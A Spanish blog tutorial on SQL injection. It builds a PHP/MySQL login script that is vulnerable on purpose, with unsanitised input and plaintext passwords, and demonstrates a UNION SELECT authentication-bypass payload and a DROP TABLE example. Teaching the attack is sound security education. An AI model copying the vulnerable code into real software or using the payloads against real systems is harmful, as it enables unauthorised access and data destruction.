Imperva ha realizado un estudio llamado “Monitorizando los Foros de los Hackers“ (y casualmente se encarga de monitorizar los foros frecuentados por hackers en búsqueda de patrones que señalen que intereses están más extendidos) y los resultados apuntan directamente a que los ataques DDoS y los SQL injection están presentes en el 19% de las conversaciones.
Muchos de los que hayáis programado con PHP y MySQL (siguiendo el caso del ejemplo que os expongo abajo) os habréis puesto a implementar medidas de seguridad contra este tipo de ataques, pero muchos otros puede que no hayan parado a pensar en esto, y no solo ahora, sino hace años, cuando se crearon muchos de los actuales sistemas de algunas empresas donde puede que no se implementaran las medidas necesarias para evitar estos ataques y aún no se hayan solventado, ya que este mismo estudio revela que menos del 5% del presupuesto de TI va destinado a mejorar la seguridad de estos sistemas que pueden contener datos importantes (y expuestos a ataques).
Un repaso rápido a SQL injection
En resumen este tipo de ataques aprovechan las consultas que se han realizado en una página para introducir un código añadido que actúa como queramos.
Por ejemplo, si tenemos una consulta en la que le pedimos que nos muestre un dato determinado que está asociado a una ID numérica (como: `id` = '1'
) y alguien puede jugar con las comillas y añadir algún código indeseado (como sería borrar una tabla: `id` = '1
'; DROP TABLE `Usuarios`;'
'
).
Os voy a poner un ejemplo funcional muy básico (como el del otro día con el super ataque por fuerza bruta), en este lo único que hay es un archivo PHP que accede a una base de datos y busca en los registros una entrada donde coincida el usuario y la contraseña con la que le hemos mandado por un formulario.
Para realizar el ejemplo necesitas lo siguiente:
5 minutos.
Un servidor PHP y MySQL (debería de dar igual local o en la nube).
Tener desactivadas las magic_quotes (que evitan este tipo de ataques, y me ha tocado desactivar mediante una apaño que hay en php.net), tenerlo en cuenta por si misteriosamente no va la inyección.
La base de datos
Lo primero es crear la base de datos donde estarán los usuarios, que se llamará PruebaSQL
, que contendrá la tabla Usuarios
donde tenemos a tres usuarios con los siguientes datos (por cada usuario):
ID: identificación numérica única (que se autoincrementa).
User: nombre del usuario.
Pass: contraseña del usuario (sin ningún tipo de encriptación ni hash, más que nada para que fuese más visual, ya que con este ejemplo funcionaría igual).
id name pass
+-------+---------------+-------
1 Pedro qwerty
2 Carlos 12345
3 Manuel password
El PHP
Este código es muy simple, tanto como una consulta que comprueba si existe algún registro que coincida el usuario y la contraseña con el que le hemos mandado por el formulario y si coincide (o hacemos coincidir por otros medios) nos avisa devolviéndonos el usuario
y la id
del usuario.
if(isset($_GET['login'])){ //Si la URL tiene la variable "login" establecida se ejecuta
$mysql=mysql_connect('localhost','Usuario_DB','Contraseña_DB'); //Nos conectamos al servidor MySQL
mysql_select_db('PruebaSQL',$mysql); //Seleccionamos la DB sobre la que trabajaremos
//Pasamos las variables conseguidas por el formulario mediante POST
$user=$_POST['user'];
$password=$_POST['password'];
//Creamos la consulta con los datos del formulario
$query=mysql_query("SELECT * FROM `Usuarios` WHERE `user`='".$user."' AND `pass`='".$password."'");
$resp=mysql_fetch_array($query, MYSQL_ASSOC); //Leemos la respuesta
//Si hay una 'id' establecido en la respuesta se ejecuta (si los datos son incorrectos no se ejecuta)
if(isset($resp['id'])){
echo "Sesión iniciada con ID: ".$resp['id']." (".$resp['user'].")"; //Nos indica que hemos acertado
}else{
echo "Fallo en la autentificación"; //Hemos fallado en la autentificación
}
mysql_close($mysql); //Cerramos la conexión con la base de datos
}
El HTML
Al igual que el PHP este formulario es muy simple, manda el usuario y la contraseña por POST
a la misma página a la que esta pero pasándole la variable “login” (el equivalente a index.php?login=si
).
<;form action="?login=si" method="post">
User <;input name="user"><;br>
Password <;input name="password"><;br>
<;input type="submit">
<;/form>
Realizar el ataque
Voy a dar por hecho que todos sabemos lo que es una base de datos.
Para realizar el ataque lo que realmente haremos es mandarle unos datos erróneos al servidor y en la contraseña añadiremos la inyección de SQL, que consiste en añadir a esta misma consulta otra que nos devolverá los mismos datos, pero solo le necesitamos establecer la id
(y como hay dos consultas y la primera no devuelve nada cogerá la segunda, inyectada).
#El usuario y la contraseña que mandamos son "Error", y se haría esta consulta:
SELECT * FROM `Usuarios` WHERE `user`='Error' AND `pass`='Error'
#Y en este ejemplo veremos el resultado de la inyección del SQL
SELECT * FROM `Usuarios` WHERE `user`='Error' AND `pass`='' UNION SELECT * FROM `Usuarios` WHERE `id` = '1'
Para conseguir el resultado de la inyección SQL tenemos que inyectar el propio código que modificará la consulta (en el campo de la contraseña del formulario):
' UNION SELECT * FROM `Usuarios` WHERE `id` = '1
Probarlo nosotros mismos
Este ejemplo se puede probar sin muchas complicaciones, creamos la base de datos, añadimos la misma tabla y añadimos el archivo PHP con el HTML incluido y tirando.
Pero como se que a muchos os dará pereza pasar toda esta odisea he subido el ejemplo, podéis probar a identificaros con el usuario y la contraseña que ya sabéis (las mismas que la de la tabla de Usuarios), y posteriormente probar metiendo el código inyectado, y podéis probar con distintas ID
.
Vía | CSO España